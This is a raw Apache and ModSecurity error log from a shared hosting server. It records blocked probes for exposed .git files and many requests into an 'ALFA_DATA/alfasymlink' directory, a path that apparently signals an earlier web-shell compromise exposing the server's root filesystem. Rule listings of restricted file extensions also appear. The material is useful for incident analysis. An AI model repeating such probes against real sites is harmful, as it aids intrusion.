[Sun Oct 25 19:57:07.984932 2026] [security2:error] [pid 2922286:tid 2922286] [client 172.64.198.224:11876] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at6XUyML9QMr9_Qxg78JkAAAABM"]
[Sun Oct 25 19:57:07.985223 2026] [security2:error] [pid 2922286:tid 2922286] [client 172.64.198.224:11876] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at6XUyML9QMr9_Qxg78JkAAAABM"]
[Sun Oct 25 19:57:07.985576 2026] [security2:error] [pid 2922286:tid 2922286] [client 172.64.198.224:11876] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at6XUyML9QMr9_Qxg78JkAAAABM"]
[Sun Oct 25 19:57:07.998927 2026] [security2:error] [pid 2924209:tid 2924209] [client 172.64.198.224:11878] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases2.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at6XU2EEHFHP3XuKakX7-QAAAAQ"]
[Sun Oct 25 19:57:07.999205 2026] [security2:error] [pid 2924209:tid 2924209] [client 172.64.198.224:11878] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases2.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at6XU2EEHFHP3XuKakX7-QAAAAQ"]
[Sun Oct 25 19:57:07.999565 2026] [security2:error] [pid 2924209:tid 2924209] [client 172.64.198.224:11878] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases2.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at6XU2EEHFHP3XuKakX7-QAAAAQ"]
[Sun Oct 25 19:57:24.517300 2026] [core:error] [pid 2923347:tid 2923347] (13)Permission denied: [client 185.191.171.11:55700] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/key_jar/sanity_checks
[Sun Oct 25 19:57:26.220893 2026] [ssl:error] [pid 2922856:tid 2922856] (70014)End of file found: [client 52.5.242.243:35809] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:57:42.222694 2026] [core:error] [pid 2925278:tid 2925278] (13)Permission denied: [client 54.89.90.224:56278] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/devices/uprobe/subsystem/drivers_probe
[Sun Oct 25 19:57:48.780324 2026] [core:error] [pid 2924209:tid 2924209] (13)Permission denied: [client 185.191.171.13:50900] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-512/cache_dma
[Sun Oct 25 19:57:50.203587 2026] [ssl:error] [pid 2924916:tid 2924916] (70014)End of file found: [client 3.225.9.97:63522] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:57:51.903369 2026] [core:error] [pid 2922856:tid 2922856] (13)Permission denied: [client 72.219.51.71:37219] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_revoke_record_s/validate
[Sun Oct 25 19:57:54.816780 2026] [security2:error] [pid 2924916:tid 2924916] [client 16.216.88.222:20480] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/005_mod_cgi.conf"] [unique_id "at6XgkbT8ZphjVonF3GEwAAAAAM"]
[Sun Oct 25 19:57:54.817259 2026] [security2:error] [pid 2924916:tid 2924916] [client 16.216.88.222:20480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/005_mod_cgi.conf"] [unique_id "at6XgkbT8ZphjVonF3GEwAAAAAM"]
[Sun Oct 25 19:57:54.817654 2026] [security2:error] [pid 2924916:tid 2924916] [client 16.216.88.222:20480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/005_mod_cgi.conf"] [unique_id "at6XgkbT8ZphjVonF3GEwAAAAAM"]
[Sun Oct 25 19:57:54.962318 2026] [core:error] [pid 2922630:tid 2922630] (13)Permission denied: [client 72.107.22.137:43267] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_revoke_record_s/validate
[Sun Oct 25 19:57:55.348570 2026] [core:error] [pid 2919322:tid 2919322] (13)Permission denied: [client 172.58.12.92:8255] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_revoke_record_s/objs_per_slab
[Sun Oct 25 19:57:57.215146 2026] [core:error] [pid 2918422:tid 2918422] (13)Permission denied: [client 102.31.177.101:58254] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_revoke_record_s/validate
[Sun Oct 25 19:57:57.783971 2026] [core:error] [pid 2924209:tid 2924209] (13)Permission denied: [client 178.121.32.114:7476] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_revoke_record_s/objs_per_slab
[Sun Oct 25 19:57:58.231096 2026] [ssl:error] [pid 2922630:tid 2922630] (70014)End of file found: [client 3.213.85.234:32519] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:57:59.881880 2026] [core:error] [pid 2922286:tid 2922286] (13)Permission denied: [client 191.5.32.91:50441] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_revoke_record_s/objs_per_slab
[Sun Oct 25 19:58:10.193129 2026] [core:error] [pid 2925278:tid 2925278] (13)Permission denied: [client 184.73.195.18:59513] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory2/node0/memory16/node0/memory2/subsystem/uevent
[Sun Oct 25 19:58:18.341202 2026] [core:error] [pid 2918422:tid 2918422] (13)Permission denied: [client 34.225.243.131:5278] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input1/event1/subsystem/input5/device/driver/pcspkr/subsystem/drivers/ucsi_acpi/unbind
[Sun Oct 25 19:58:30.588574 2026] [core:error] [pid 2924209:tid 2924209] (13)Permission denied: [client 201.242.72.16:32782] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/destroy_by_rcu
[Sun Oct 25 19:58:32.241707 2026] [core:error] [pid 2918422:tid 2918422] (13)Permission denied: [client 73.21.150.20:56843] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/destroy_by_rcu
[Sun Oct 25 19:58:36.518162 2026] [core:error] [pid 2919322:tid 2919322] (13)Permission denied: [client 24.217.247.233:37880] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/destroy_by_rcu
[Sun Oct 25 19:58:38.215888 2026] [ssl:error] [pid 2916902:tid 2916902] (70014)End of file found: [client 18.213.240.226:50791] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:58:41.751607 2026] [core:error] [pid 2918422:tid 2918422] (13)Permission denied: [client 185.191.171.7:57590] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pte_list_desc/free_calls
[Sun Oct 25 19:58:56.315936 2026] [ssl:error] [pid 2922285:tid 2922285] (70014)End of file found: [client 85.208.96.212:57954] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:59:02.215174 2026] [ssl:error] [pid 2918422:tid 2918422] (70014)End of file found: [client 54.163.169.168:31793] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:59:18.189424 2026] [security2:error] [pid 2922630:tid 2922630] [client 50.16.248.61:28290] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/device:19/subsystem/drivers/button/"] [unique_id "at6X1l1VEy6LQb6YlrH5UgAAAAA"]
[Sun Oct 25 19:59:18.189525 2026] [security2:error] [pid 2922630:tid 2922630] [client 50.16.248.61:28290] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/device:19/subsystem/drivers/button/"] [unique_id "at6X1l1VEy6LQb6YlrH5UgAAAAA"]
[Sun Oct 25 19:59:24.997680 2026] [core:error] [pid 2925278:tid 2925278] (13)Permission denied: [client 90.254.151.10:40441] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/usersize
[Sun Oct 25 19:59:27.679130 2026] [core:error] [pid 2922285:tid 2922285] (13)Permission denied: [client 187.19.255.88:50921] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/usersize
[Sun Oct 25 19:59:29.408810 2026] [core:error] [pid 2916902:tid 2916902] (13)Permission denied: [client 160.25.222.149:43451] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/usersize
[Sun Oct 25 19:59:33.565192 2026] [core:error] [pid 2918422:tid 2918422] (13)Permission denied: [client 71.57.222.159:51231] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/aliases
[Sun Oct 25 19:59:36.387924 2026] [core:error] [pid 2925278:tid 2925278] (13)Permission denied: [client 152.110.94.216:60090] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/aliases
[Sun Oct 25 19:59:38.689636 2026] [core:error] [pid 2923347:tid 2923347] (13)Permission denied: [client 38.194.250.130:55190] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/aliases
[Sun Oct 25 19:59:41.761846 2026] [core:error] [pid 2918422:tid 2918422] (13)Permission denied: [client 45.180.99.161:35044] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/user_namespace/total_objects
[Sun Oct 25 19:59:44.767239 2026] [core:error] [pid 2922285:tid 2922285] (13)Permission denied: [client 186.49.24.237:59602] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/user_namespace/total_objects
[Sun Oct 25 19:59:46.392229 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 3.222.85.38:47321] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:59:46.784917 2026] [core:error] [pid 2916902:tid 2916902] (13)Permission denied: [client 66.199.176.197:51562] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/user_namespace/total_objects
[Sun Oct 25 19:59:50.306648 2026] [ssl:error] [pid 2924209:tid 2924209] (70014)End of file found: [client 44.212.131.50:19756] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 19:59:59.000961 2026] [security2:error] [pid 2918422:tid 2918422] [client 185.191.171.13:52872] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sys"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/syslinux/dosutil/eltorito.sys"] [unique_id "at6X_smX8eKs_cgmrz9vqgAAAAU"]
[Sun Oct 25 19:59:59.001351 2026] [security2:error] [pid 2918422:tid 2918422] [client 185.191.171.13:52872] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/syslinux/dosutil/eltorito.sys"] [unique_id "at6X_smX8eKs_cgmrz9vqgAAAAU"]
[Sun Oct 25 19:59:59.001723 2026] [security2:error] [pid 2918422:tid 2918422] [client 185.191.171.13:52872] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/syslinux/dosutil/eltorito.sys"] [unique_id "at6X_smX8eKs_cgmrz9vqgAAAAU"]
[Sun Oct 25 20:00:06.191183 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 54.157.99.244:49205] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:00:14.097841 2026] [core:error] [pid 2922856:tid 2922856] (13)Permission denied: [client 195.142.25.166:57294] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/ctor
[Sun Oct 25 20:00:14.289152 2026] [core:error] [pid 2918422:tid 2918422] (13)Permission denied: [client 44.220.2.97:37764] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/device:03/physical_node/subsystem/drivers/ata_piix/new_id
[Sun Oct 25 20:00:16.653221 2026] [core:error] [pid 2925278:tid 2925278] (13)Permission denied: [client 71.198.98.159:60457] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/ctor
[Sun Oct 25 20:00:18.220844 2026] [ssl:error] [pid 2922285:tid 2922285] (70014)End of file found: [client 3.229.95.193:45661] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:00:18.848966 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 190.171.102.32:60670] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/ctor
[Sun Oct 25 20:00:30.193111 2026] [ssl:error] [pid 2925278:tid 2925278] (70014)End of file found: [client 54.198.33.233:3593] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:00:31.196977 2026] [ssl:error] [pid 2922285:tid 2922285] (70014)End of file found: [client 34.196.237.236:30194] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:00:46.506017 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 34.238.45.183:51651] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:00:50.252299 2026] [ssl:error] [pid 2916902:tid 2916902] (70014)End of file found: [client 3.213.46.222:58837] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:01:02.286901 2026] [ssl:error] [pid 2922868:tid 2922868] (70014)End of file found: [client 52.207.47.227:21263] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:01:05.860048 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 85.208.96.202:17724] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:01:05.895222 2026] [ssl:error] [pid 2925278:tid 2925278] (70014)End of file found: [client 85.208.96.202:17726] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:01:06.966544 2026] [core:error] [pid 2923082:tid 2923082] (13)Permission denied: [client 138.28.214.154:48742] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/min_partial
[Sun Oct 25 20:01:14.242608 2026] [ssl:error] [pid 2925278:tid 2925278] (70014)End of file found: [client 50.16.216.166:40833] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:01:20.022350 2026] [core:error] [pid 2922868:tid 2922868] (13)Permission denied: [client 172.93.148.166:49670] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/destroy_by_rcu
[Sun Oct 25 20:01:22.219225 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 196.3.219.209:34573] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/destroy_by_rcu
[Sun Oct 25 20:01:23.576424 2026] [core:error] [pid 2922333:tid 2922333] (13)Permission denied: [client 47.230.137.96:27259] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/destroy_by_rcu
[Sun Oct 25 20:01:26.164624 2026] [ssl:error] [pid 2922868:tid 2922868] (70014)End of file found: [client 54.197.82.195:40689] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:01:28.853487 2026] [core:error] [pid 2925278:tid 2925278] (13)Permission denied: [client 71.201.253.11:42391] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack/remote_node_defrag_ratio
[Sun Oct 25 20:01:30.173527 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 23.23.212.212:19495] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/devices/platform/alarmtimer/subsystem/drivers/acpi-ged/uevent
[Sun Oct 25 20:01:30.631160 2026] [core:error] [pid 2926298:tid 2926298] (13)Permission denied: [client 80.80.91.120:33292] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack/remote_node_defrag_ratio
[Sun Oct 25 20:01:32.251375 2026] [core:error] [pid 2922868:tid 2922868] (13)Permission denied: [client 174.44.12.201:49434] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack/remote_node_defrag_ratio
[Sun Oct 25 20:01:34.164100 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 3.222.190.107:64736] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:01:37.147972 2026] [security2:error] [pid 2922867:tid 2922867] [client 107.172.76.131:49498] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6YUzWREDnPJfZ18QDViwAAABs"], referer: https://clic1.sherwinpinturas.com//beta.php
[Sun Oct 25 20:01:37.148018 2026] [security2:error] [pid 2922867:tid 2922867] [client 107.172.76.131:49498] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6YUzWREDnPJfZ18QDViwAAABs"], referer: https://clic1.sherwinpinturas.com//beta.php
[Sun Oct 25 20:01:38.293554 2026] [core:error] [pid 2923082:tid 2923082] (13)Permission denied: [client 44.205.180.155:43330] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/kernel/slab/file_lock_ctx/slab_size
[Sun Oct 25 20:01:45.631184 2026] [core:crit] [pid 2926323:tid 2926323] (13)Permission denied: [client 66.132.195.123:40238] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 20:01:46.276442 2026] [authz_core:error] [pid 2922868:tid 2922868] [client 66.132.195.123:40262] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 20:01:47.618939 2026] [core:crit] [pid 2922333:tid 2922333] (13)Permission denied: [client 66.132.195.123:40268] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 20:01:49.152078 2026] [core:error] [pid 2926298:tid 2926298] (13)Permission denied: [client 157.100.69.181:56452] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/hugetlbfs_inode_cache/slabs_cpu_partial
[Sun Oct 25 20:01:52.052145 2026] [core:error] [pid 2923082:tid 2923082] (13)Permission denied: [client 186.0.199.130:40966] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/hugetlbfs_inode_cache/slabs_cpu_partial
[Sun Oct 25 20:01:53.413124 2026] [core:error] [pid 2926322:tid 2926322] (13)Permission denied: [client 68.131.100.202:36194] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/hugetlbfs_inode_cache/slabs_cpu_partial
[Sun Oct 25 20:02:01.147285 2026] [security2:error] [pid 2926322:tid 2926322] [client 43.128.156.124:58260] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.curso-de-ventas.com"] [uri "/"] [unique_id "at6YedFkJAT_B5m2Ey9viAAAAAM"]
[Sun Oct 25 20:02:01.149086 2026] [authz_core:error] [pid 2926322:tid 2926322] [client 43.128.156.124:58260] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 20:02:06.229226 2026] [security2:error] [pid 2918422:tid 2918422] [client 52.7.33.248:1177] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/console/subsystem/tty0/subsystem/tty35/"] [unique_id "at6YfsmX8eKs_cgmrz9vrQAAAAU"]
[Sun Oct 25 20:02:06.229275 2026] [security2:error] [pid 2918422:tid 2918422] [client 52.7.33.248:1177] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/console/subsystem/tty0/subsystem/tty35/"] [unique_id "at6YfsmX8eKs_cgmrz9vrQAAAAU"]
